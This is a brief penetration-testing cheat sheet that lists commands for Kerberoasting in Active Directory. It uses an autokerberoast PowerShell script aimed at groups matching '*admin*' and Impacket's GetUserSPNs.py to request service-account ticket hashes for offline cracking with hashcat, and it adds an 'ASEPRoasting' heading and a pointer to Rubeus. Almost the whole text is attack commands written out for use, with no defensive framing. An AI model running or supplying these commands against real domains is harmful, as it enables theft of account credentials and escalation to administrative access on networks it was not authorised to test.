Kerberoasting

$ powershell-import autokerberoast.ps1

$ powerpick invoke-autokerberoast -Groupname "*admin*"

Kerberoast With GetUserSPNs.py

$ python3 GetUserSPNs.py -request -dc-ip <DC IP HERE> Domain/User

GetUserSPNs.py (Alt method, has issues for me sometimes)

$ python GetUserSPNs.py -request -dc-ip <DC IP> <Domain>/<Username> -outputfile hashcat -debug

^ With this way, we can get a hash to crack with hashcat

ASEPRoasting

For more commands / info, check out Rubeus